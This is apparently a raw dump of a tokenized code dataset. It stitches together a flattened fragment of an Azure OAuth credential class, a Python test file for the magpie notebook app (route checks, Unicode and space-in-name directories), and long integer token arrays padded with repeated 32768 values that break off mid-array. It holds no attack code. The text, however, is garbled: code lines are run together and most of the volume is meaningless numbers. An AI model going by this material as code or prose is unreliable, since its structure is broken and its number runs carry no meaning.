not kwargs.get('cached'): self.set_token() @classmethod def retrieve_session(cls, client_id, redirect): """Create InteractiveCredentials from a cached token if it has not yet expired. """ session = cls(client_id, redirect, cached=True) session._retrieve_stored_token() return session def _setup_session(self): """Create token-friendly Requests session. :rtype: requests_oauthlib.OAuth2Session """ return oauth.OAuth2Session(self.id, redirect_uri=self.redirect, state=self.state) def get_auth_url(self, msa=False, **additional_args): """Get URL to web portal for authentication. :param bool msa: Set to 'True' if authenticating with Live ID. Default is 'False'. :param additional_args: Set and additional kwargs for requrired AAD configuration: msdn.microsoft.com/en-us/library/azure/dn645542.aspx :rtype: Tuple :returns: The URL for authentication (str), and state code that will be verified in the response (str). """ if msa: additional_args['domain_hint'] = 'live.com' session = self._setup_session() auth_url, state = session.authorization_url(self.auth_uri, resource=self.resource, **additional_args) return auth_url, state def set_token(self, response_url): """Get token using Authorization Code from redirected URL. :param str response_url: The full redirected URL from successful authentication. :raises: AuthenticationError if credentials invalid, or call fails. """ self._check_state(response_url) session = self._setup_session() if response_url.startswith(_http(self.redirect)): response_url = _https(response_url) elif not response_url.startswith(_https(self.redirect)): response_url = _https(self.redirect, response_url) try: token = session.fetch_token(self.token_uri, authorization_response=response_url, verify=self.verify) except (InvalidGrantError, OAuth2Error, MismatchingStateError, RequestException) as err: raise_with_traceback(AuthenticationError, "", err) else: self.token = token
mit
[ 172, 120, 124, 3, 24775, 199, 3, 199, 3, 1898, 334, 67, 9, 15332, 11098, 14, 2900, 4481, 4644, 14, 199, 3, 199, 3, 710, 10697, 844, 334, 13965, 9, 199, 3, 199, 3, 8779, 365, 11882, 10009, 12, 2867, 402, 11204, 12, 370, 1263, 4954, 12408, 282, 1331, 199, 3, 402, 642, 2032, 436, 4568, 3794, 1584, 334, 1589, 3087, 10337, 341, 395, 370, 199, 3, 7962, 315, 314, 2290, 1928, 10588, 12, 5893, 1928, 12305, 314, 199, 3, 4481, 370, 675, 12, 1331, 12, 2811, 12, 5389, 12, 2780, 12, 11207, 12, 13473, 12, 436, 15, 269, 199, 3, 12743, 6866, 402, 314, 2290, 12, 436, 370, 11291, 12103, 370, 12676, 314, 2290, 365, 199, 3, 13985, 370, 886, 880, 12, 5420, 370, 314, 2569, 3704, 26, 199, 3, 199, 3, 710, 3432, 4248, 4245, 436, 642, 4983, 4245, 10989, 506, 5120, 315, 199, 3, 1006, 6866, 503, 13393, 12468, 402, 314, 2290, 14, 199, 3, 199, 3, 2334, 4141, 2281, 7049, 627, 1179, 2281, 10381, 2428, 3408, 1634, 1821, 3826, 12, 7168, 1549, 199, 3, 5292, 12, 6931, 5400, 2845, 5471, 2296, 2334, 2990, 1634, 3169, 12, 199, 3, 3092, 2381, 437, 3115, 3104, 2401, 13229, 14, 1621, 4825, 6461, 7000, 2334, 199, 3, 10610, 1549, 5877, 8164, 6262, 7024, 2381, 1821, 13140, 12, 6736, 1549, 5010, 199, 3, 5603, 12, 7061, 1621, 1261, 9612, 1634, 7066, 12, 7056, 1549, 7334, 12, 7043, 199, 3, 4442, 12, 5738, 1634, 1549, 1621, 11287, 1663, 2334, 4141, 1549, 2334, 4815, 1549, 5010, 13198, 199, 3, 1621, 2334, 4141, 14, 199, 3, 199, 3, 24775, 199, 199, 646, 6073, 199, 646, 900, 199, 893, 26, 272, 687, 7097, 492, 7097, 12, 2198, 63, 6177, 199, 2590, 3545, 26, 272, 687, 4011, 14, 1122, 492, 7097, 12, 2198, 63, 6177, 199, 199, 646, 28158, 199, 504, 9725, 773, 14, 6126, 18, 492, 25674, 5039, 3041, 12, 26251, 5039, 3041, 199, 504, 9725, 773, 14, 6126, 18, 14, 8973, 10393, 25, 14, 2550, 492, 334, 272, 6378, 39, 17633, 547, 12, 272, 12481, 9467, 2223, 547, 12, 272, 11715, 18, 547, 12, 272, 8767, 20898, 547, 9, 199, 504, 4145, 492, 4784, 1726, 199, 646, 4145, 63, 6126, 773, 465, 9725, 199, 199, 504, 6605, 3911, 14, 11725, 492, 11715, 3264, 10348, 199, 504, 6605, 3911, 14, 3924, 492, 8767, 20898, 547, 465, 1316, 1038, 581, 199, 504, 6605, 3911, 14, 3924, 492, 334, 272, 15995, 547, 12, 272, 746, 63, 1045, 63, 6894, 9, 421, 199, 318, 485, 1506, 63, 633, 8, 2302, 12, 3792, 12, 5687, 304, 272, 408, 23163, 2851, 4184, 14, 339, 520, 635, 620, 5108, 26, 710, 1300, 2851, 14, 272, 520, 635, 769, 3792, 26, 3820, 402, 3326, 626, 1852, 1536, 314, 2851, 14, 272, 520, 635, 620, 5687, 26, 710, 2851, 5687, 12, 283, 1014, 7, 503, 283, 2859, 1370, 272, 520, 4500, 26, 620, 272, 520, 1107, 26, 22170, 379, 12, 7871, 2851, 14, 272, 408, 272, 931, 275, 359, 495, 8, 80, 680, 1913, 7825, 367, 299, 315, 3792, 61, 272, 12149, 63, 515, 275, 20538, 904, 8, 515, 9, 272, 4565, 63, 633, 275, 7097, 8, 2302, 9, 272, 8717, 275, 4565, 63, 633, 423, 1814, 8, 5512, 29, 5512, 9, 272, 340, 12149, 63, 515, 26, 267, 931, 275, 20538, 904, 779, 31473, 14, 515, 12, 12149, 63, 515, 566, 267, 8717, 275, 8717, 423, 1814, 8, 515, 29, 515, 9, 339, 892, 63, 633, 275, 8717, 14, 32130, 342, 272, 892, 63, 633, 275, 892, 63, 633, 14, 1814, 15079, 3678, 18290, 358, 272, 372, 892, 63, 633, 421, 199, 318, 485, 1014, 8, 2302, 12, 627, 2911, 304, 272, 408, 7306, 4178, 2851, 370, 1455, 14, 339, 520, 635, 620, 5108, 26, 710, 1300, 2851, 14, 272, 520, 635, 620, 2402, 26, 10961, 2851, 3792, 334, 4144, 680, 272, 520, 4500, 26, 620, 272, 520, 1107, 26, 1626, 3101, 2851, 14, 272, 408, 272, 372, 485, 1506, 63, 633, 8, 2302, 12, 2402, 12, 283, 1014, 358, 421, 199, 318, 485, 2859, 8, 2302, 12, 627, 2911, 304, 272, 408, 7306, 1455, 2851, 370, 4178, 14, 339, 520, 635, 620, 5108, 26, 710, 1300, 2851, 14, 272, 520, 635, 620, 2402, 26, 10961, 2851, 3792, 334, 4144, 680, 272, 520, 4500, 26, 620, 272, 520, 1107, 26, 1626, 14147, 2851, 14, 272, 408, 272, 372, 485, 1506, 63, 633, 8, 2302, 12, 2402, 12, 283, 2859, 358, 421, 199, 533, 437, 1554, 4256, 8, 785, 304, 272, 408, 4256, 367, 15995, 909, 14, 272, 21552, 2005, 437, 1554, 9330, 26, 272, 446, 8511, 6411, 272, 446, 8767, 13627, 436, 27157, 272, 446, 3758, 437, 1554, 2897, 272, 408, 272, 485, 1178, 63, 6520, 275, 23057, 2886, 14, 17040, 15178, 14, 957, 2, 272, 485, 335, 13765, 63, 1178, 63, 6520, 275, 23057, 2886, 14, 335, 262, 645, 320, 1181, 1246, 14, 6413, 2, 272, 485, 1418, 63, 2302, 275, 3286, 6126, 18, 15, 1418, 2, 272, 485, 1178, 63, 2302, 275, 3286, 6126, 18, 15, 14204, 2, 272, 485, 4647, 275, 298, 2330, 2, 272, 485, 1927, 275, 283, 2859, 921, 8110, 14, 1018, 14, 8258, 14, 846, 4805, 272, 485, 335, 13765, 63, 1927, 275, 298, 2859, 921, 8110, 14, 1018, 14, 335, 262, 645, 320, 1181, 1246, 14, 6413, 6687, 272, 485, 30591, 275, 298, 22386, 33, 1554, 2, 339, 347, 485, 6472, 8, 277, 12, 1011, 958, 304, 267, 408, 17324, 6299, 6037, 14, 398, 4879, 2074, 1443, 2387, 26, 288, 446, 682, 13765, 334, 2245, 304, 15453, 1790, 367, 2799, 13765, 13, 6788, 2435, 12, 1598, 849, 365, 283, 797, 1370, 288, 446, 8261, 334, 495, 304, 17669, 1905, 8261, 12, 849, 365, 283, 2330, 1370, 288, 446, 1790, 63, 2302, 334, 495, 304, 17669, 1905, 6299, 6037, 14, 288, 446, 1526, 63, 2302, 334, 495, 304, 17669, 1905, 1526, 27157, 6037, 14, 288, 446, 2073, 334, 495, 304, 17669, 1905, 6299, 2073, 12, 849, 1598, 365, 283, 2859, 921, 8110, 14, 1018, 14, 8258, 14, 846, 15, 1370, 288, 446, 4911, 334, 2245, 304, 7635, 11153, 1950, 12, 849, 365, 283, 549, 1370, 288, 446, 28158, 334, 495 ]
[ 120, 124, 3, 24775, 199, 3, 199, 3, 1898, 334, 67, 9, 15332, 11098, 14, 2900, 4481, 4644, 14, 199, 3, 199, 3, 710, 10697, 844, 334, 13965, 9, 199, 3, 199, 3, 8779, 365, 11882, 10009, 12, 2867, 402, 11204, 12, 370, 1263, 4954, 12408, 282, 1331, 199, 3, 402, 642, 2032, 436, 4568, 3794, 1584, 334, 1589, 3087, 10337, 341, 395, 370, 199, 3, 7962, 315, 314, 2290, 1928, 10588, 12, 5893, 1928, 12305, 314, 199, 3, 4481, 370, 675, 12, 1331, 12, 2811, 12, 5389, 12, 2780, 12, 11207, 12, 13473, 12, 436, 15, 269, 199, 3, 12743, 6866, 402, 314, 2290, 12, 436, 370, 11291, 12103, 370, 12676, 314, 2290, 365, 199, 3, 13985, 370, 886, 880, 12, 5420, 370, 314, 2569, 3704, 26, 199, 3, 199, 3, 710, 3432, 4248, 4245, 436, 642, 4983, 4245, 10989, 506, 5120, 315, 199, 3, 1006, 6866, 503, 13393, 12468, 402, 314, 2290, 14, 199, 3, 199, 3, 2334, 4141, 2281, 7049, 627, 1179, 2281, 10381, 2428, 3408, 1634, 1821, 3826, 12, 7168, 1549, 199, 3, 5292, 12, 6931, 5400, 2845, 5471, 2296, 2334, 2990, 1634, 3169, 12, 199, 3, 3092, 2381, 437, 3115, 3104, 2401, 13229, 14, 1621, 4825, 6461, 7000, 2334, 199, 3, 10610, 1549, 5877, 8164, 6262, 7024, 2381, 1821, 13140, 12, 6736, 1549, 5010, 199, 3, 5603, 12, 7061, 1621, 1261, 9612, 1634, 7066, 12, 7056, 1549, 7334, 12, 7043, 199, 3, 4442, 12, 5738, 1634, 1549, 1621, 11287, 1663, 2334, 4141, 1549, 2334, 4815, 1549, 5010, 13198, 199, 3, 1621, 2334, 4141, 14, 199, 3, 199, 3, 24775, 199, 199, 646, 6073, 199, 646, 900, 199, 893, 26, 272, 687, 7097, 492, 7097, 12, 2198, 63, 6177, 199, 2590, 3545, 26, 272, 687, 4011, 14, 1122, 492, 7097, 12, 2198, 63, 6177, 199, 199, 646, 28158, 199, 504, 9725, 773, 14, 6126, 18, 492, 25674, 5039, 3041, 12, 26251, 5039, 3041, 199, 504, 9725, 773, 14, 6126, 18, 14, 8973, 10393, 25, 14, 2550, 492, 334, 272, 6378, 39, 17633, 547, 12, 272, 12481, 9467, 2223, 547, 12, 272, 11715, 18, 547, 12, 272, 8767, 20898, 547, 9, 199, 504, 4145, 492, 4784, 1726, 199, 646, 4145, 63, 6126, 773, 465, 9725, 199, 199, 504, 6605, 3911, 14, 11725, 492, 11715, 3264, 10348, 199, 504, 6605, 3911, 14, 3924, 492, 8767, 20898, 547, 465, 1316, 1038, 581, 199, 504, 6605, 3911, 14, 3924, 492, 334, 272, 15995, 547, 12, 272, 746, 63, 1045, 63, 6894, 9, 421, 199, 318, 485, 1506, 63, 633, 8, 2302, 12, 3792, 12, 5687, 304, 272, 408, 23163, 2851, 4184, 14, 339, 520, 635, 620, 5108, 26, 710, 1300, 2851, 14, 272, 520, 635, 769, 3792, 26, 3820, 402, 3326, 626, 1852, 1536, 314, 2851, 14, 272, 520, 635, 620, 5687, 26, 710, 2851, 5687, 12, 283, 1014, 7, 503, 283, 2859, 1370, 272, 520, 4500, 26, 620, 272, 520, 1107, 26, 22170, 379, 12, 7871, 2851, 14, 272, 408, 272, 931, 275, 359, 495, 8, 80, 680, 1913, 7825, 367, 299, 315, 3792, 61, 272, 12149, 63, 515, 275, 20538, 904, 8, 515, 9, 272, 4565, 63, 633, 275, 7097, 8, 2302, 9, 272, 8717, 275, 4565, 63, 633, 423, 1814, 8, 5512, 29, 5512, 9, 272, 340, 12149, 63, 515, 26, 267, 931, 275, 20538, 904, 779, 31473, 14, 515, 12, 12149, 63, 515, 566, 267, 8717, 275, 8717, 423, 1814, 8, 515, 29, 515, 9, 339, 892, 63, 633, 275, 8717, 14, 32130, 342, 272, 892, 63, 633, 275, 892, 63, 633, 14, 1814, 15079, 3678, 18290, 358, 272, 372, 892, 63, 633, 421, 199, 318, 485, 1014, 8, 2302, 12, 627, 2911, 304, 272, 408, 7306, 4178, 2851, 370, 1455, 14, 339, 520, 635, 620, 5108, 26, 710, 1300, 2851, 14, 272, 520, 635, 620, 2402, 26, 10961, 2851, 3792, 334, 4144, 680, 272, 520, 4500, 26, 620, 272, 520, 1107, 26, 1626, 3101, 2851, 14, 272, 408, 272, 372, 485, 1506, 63, 633, 8, 2302, 12, 2402, 12, 283, 1014, 358, 421, 199, 318, 485, 2859, 8, 2302, 12, 627, 2911, 304, 272, 408, 7306, 1455, 2851, 370, 4178, 14, 339, 520, 635, 620, 5108, 26, 710, 1300, 2851, 14, 272, 520, 635, 620, 2402, 26, 10961, 2851, 3792, 334, 4144, 680, 272, 520, 4500, 26, 620, 272, 520, 1107, 26, 1626, 14147, 2851, 14, 272, 408, 272, 372, 485, 1506, 63, 633, 8, 2302, 12, 2402, 12, 283, 2859, 358, 421, 199, 533, 437, 1554, 4256, 8, 785, 304, 272, 408, 4256, 367, 15995, 909, 14, 272, 21552, 2005, 437, 1554, 9330, 26, 272, 446, 8511, 6411, 272, 446, 8767, 13627, 436, 27157, 272, 446, 3758, 437, 1554, 2897, 272, 408, 272, 485, 1178, 63, 6520, 275, 23057, 2886, 14, 17040, 15178, 14, 957, 2, 272, 485, 335, 13765, 63, 1178, 63, 6520, 275, 23057, 2886, 14, 335, 262, 645, 320, 1181, 1246, 14, 6413, 2, 272, 485, 1418, 63, 2302, 275, 3286, 6126, 18, 15, 1418, 2, 272, 485, 1178, 63, 2302, 275, 3286, 6126, 18, 15, 14204, 2, 272, 485, 4647, 275, 298, 2330, 2, 272, 485, 1927, 275, 283, 2859, 921, 8110, 14, 1018, 14, 8258, 14, 846, 4805, 272, 485, 335, 13765, 63, 1927, 275, 298, 2859, 921, 8110, 14, 1018, 14, 335, 262, 645, 320, 1181, 1246, 14, 6413, 6687, 272, 485, 30591, 275, 298, 22386, 33, 1554, 2, 339, 347, 485, 6472, 8, 277, 12, 1011, 958, 304, 267, 408, 17324, 6299, 6037, 14, 398, 4879, 2074, 1443, 2387, 26, 288, 446, 682, 13765, 334, 2245, 304, 15453, 1790, 367, 2799, 13765, 13, 6788, 2435, 12, 1598, 849, 365, 283, 797, 1370, 288, 446, 8261, 334, 495, 304, 17669, 1905, 8261, 12, 849, 365, 283, 2330, 1370, 288, 446, 1790, 63, 2302, 334, 495, 304, 17669, 1905, 6299, 6037, 14, 288, 446, 1526, 63, 2302, 334, 495, 304, 17669, 1905, 1526, 27157, 6037, 14, 288, 446, 2073, 334, 495, 304, 17669, 1905, 6299, 2073, 12, 849, 1598, 365, 283, 2859, 921, 8110, 14, 1018, 14, 8258, 14, 846, 15, 1370, 288, 446, 4911, 334, 2245, 304, 7635, 11153, 1950, 12, 849, 365, 283, 549, 1370, 288, 446, 28158, 334, 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, 1, 1, 1 ]
jcda/magpie
tests/test_basics.py
5
1537
# coding=UTF-8 from os import makedirs, path, rmdir from shutil import rmtree from urllib import quote from base import BaseTest class Test(BaseTest): def test_proof_of_concept(self): res = self.get('/') def test_bad_notebook_redirects_home(self): home = self.get('/') dne = self.get('/this+notebook+doesnt+exist') self.assertEqual(home.body, dne.body) def test_spaces_ok_in_notebook_name(self): app = self.get_app() try: makedirs(path.join(app.settings.repo, 'notebook name')) except OSError as e: if e.strerror != 'File exists': raise home = self.get('/') notebook = self.get('/notebook+name') try: self.assertNotEqual(home.body, notebook.body, msg=("It looks like notebook w/space in name " "can't be opened")) finally: rmdir(path.join(app.settings.repo, 'notebook name')) def test_unicode_notebooks(self): app = self.get_app() dirname = u'übernöteböök' try: makedirs(path.join(app.settings.repo, dirname)) except OSError as e: if e.strerror != 'File exists': raise try: home = self.get('/') notebook = self.get('/' + quote(dirname.encode('utf8'))) self.assertNotEqual(home.body, notebook.body) finally: rmtree(path.join(app.settings.repo, dirname))
mit
[ 3, 2803, 29, 6610, 13, 24, 199, 504, 747, 492, 1852, 3220, 12, 931, 12, 14267, 694, 199, 504, 5145, 492, 20978, 199, 504, 4011, 492, 6313, 199, 199, 504, 1300, 492, 3523, 774, 199, 199, 533, 1379, 8, 23170, 304, 272, 347, 511, 63, 496, 1618, 63, 1618, 63, 21318, 8, 277, 304, 267, 522, 275, 291, 14, 362, 7825, 339, 347, 511, 63, 4087, 63, 19174, 63, 13607, 63, 4219, 8, 277, 304, 267, 5629, 275, 291, 14, 362, 7825, 267, 366, 685, 275, 291, 14, 362, 2336, 3749, 11, 19174, 11, 26664, 11, 4494, 358, 267, 291, 14, 629, 8, 4219, 14, 2030, 12, 366, 685, 14, 2030, 9, 339, 347, 511, 63, 10749, 63, 745, 63, 262, 63, 19174, 63, 354, 8, 277, 304, 267, 1145, 275, 291, 14, 362, 63, 571, 342, 267, 862, 26, 288, 1852, 3220, 8, 515, 14, 904, 8, 571, 14, 1751, 14, 3417, 12, 283, 19174, 536, 1333, 267, 871, 6440, 465, 325, 26, 288, 340, 325, 14, 20395, 1137, 283, 1173, 3495, 356, 355, 746, 398, 5629, 275, 291, 14, 362, 7825, 267, 20751, 275, 291, 14, 362, 2336, 19174, 11, 354, 358, 267, 862, 26, 288, 291, 14, 7418, 8, 4219, 14, 2030, 12, 20751, 14, 2030, 12, 1816, 1499, 15387, 7940, 10734, 2839, 20751, 336, 15, 2638, 315, 536, 298, 3660, 298, 2425, 1133, 506, 12123, 2237, 267, 3753, 26, 288, 14267, 694, 8, 515, 14, 904, 8, 571, 14, 1751, 14, 3417, 12, 283, 19174, 536, 1333, 339, 347, 511, 63, 2975, 63, 4610, 8858, 8, 277, 304, 267, 1145, 275, 291, 14, 362, 63, 571, 342, 267, 9017, 275, 399, 7, 17709, 605, 78, 14614, 266, 66, 14614, 14614, 75, 7, 267, 862, 26, 288, 1852, 3220, 8, 515, 14, 904, 8, 571, 14, 1751, 14, 3417, 12, 9017, 430, 267, 871, 6440, 465, 325, 26, 288, 340, 325, 14, 20395, 1137, 283, 1173, 3495, 356, 355, 746, 398, 862, 26, 288, 5629, 275, 291, 14, 362, 7825, 288, 20751, 275, 291, 14, 362, 2336, 7, 435, 6313, 8, 3475, 14, 2143, 360, 1624, 24, 7058, 288, 291, 14, 7418, 8, 4219, 14, 2030, 12, 20751, 14, 2030, 9, 267, 3753, 26, 288, 20978, 8, 515, 14, 904, 8, 571, 14, 1751, 14, 3417, 12, 9017, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2803, 29, 6610, 13, 24, 199, 504, 747, 492, 1852, 3220, 12, 931, 12, 14267, 694, 199, 504, 5145, 492, 20978, 199, 504, 4011, 492, 6313, 199, 199, 504, 1300, 492, 3523, 774, 199, 199, 533, 1379, 8, 23170, 304, 272, 347, 511, 63, 496, 1618, 63, 1618, 63, 21318, 8, 277, 304, 267, 522, 275, 291, 14, 362, 7825, 339, 347, 511, 63, 4087, 63, 19174, 63, 13607, 63, 4219, 8, 277, 304, 267, 5629, 275, 291, 14, 362, 7825, 267, 366, 685, 275, 291, 14, 362, 2336, 3749, 11, 19174, 11, 26664, 11, 4494, 358, 267, 291, 14, 629, 8, 4219, 14, 2030, 12, 366, 685, 14, 2030, 9, 339, 347, 511, 63, 10749, 63, 745, 63, 262, 63, 19174, 63, 354, 8, 277, 304, 267, 1145, 275, 291, 14, 362, 63, 571, 342, 267, 862, 26, 288, 1852, 3220, 8, 515, 14, 904, 8, 571, 14, 1751, 14, 3417, 12, 283, 19174, 536, 1333, 267, 871, 6440, 465, 325, 26, 288, 340, 325, 14, 20395, 1137, 283, 1173, 3495, 356, 355, 746, 398, 5629, 275, 291, 14, 362, 7825, 267, 20751, 275, 291, 14, 362, 2336, 19174, 11, 354, 358, 267, 862, 26, 288, 291, 14, 7418, 8, 4219, 14, 2030, 12, 20751, 14, 2030, 12, 1816, 1499, 15387, 7940, 10734, 2839, 20751, 336, 15, 2638, 315, 536, 298, 3660, 298, 2425, 1133, 506, 12123, 2237, 267, 3753, 26, 288, 14267, 694, 8, 515, 14, 904, 8, 571, 14, 1751, 14, 3417, 12, 283, 19174, 536, 1333, 339, 347, 511, 63, 2975, 63, 4610, 8858, 8, 277, 304, 267, 1145, 275, 291, 14, 362, 63, 571, 342, 267, 9017, 275, 399, 7, 17709, 605, 78, 14614, 266, 66, 14614, 14614, 75, 7, 267, 862, 26, 288, 1852, 3220, 8, 515, 14, 904, 8, 571, 14, 1751, 14, 3417, 12, 9017, 430, 267, 871, 6440, 465, 325, 26, 288, 340, 325, 14, 20395, 1137, 283, 1173, 3495, 356, 355, 746, 398, 862, 26, 288, 5629, 275, 291, 14, 362, 7825, 288, 20751, 275, 291, 14, 362, 2336, 7, 435, 6313, 8, 3475, 14, 2143, 360, 1624, 24, 7058, 288, 291, 14, 7418, 8, 4219, 14, 2030, 12, 20751, 14, 2030, 9, 267, 3753, 26, 288, 20978, 8, 515, 14, 904, 8, 571, 14, 1751, 14, 3417, 12, 9017, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 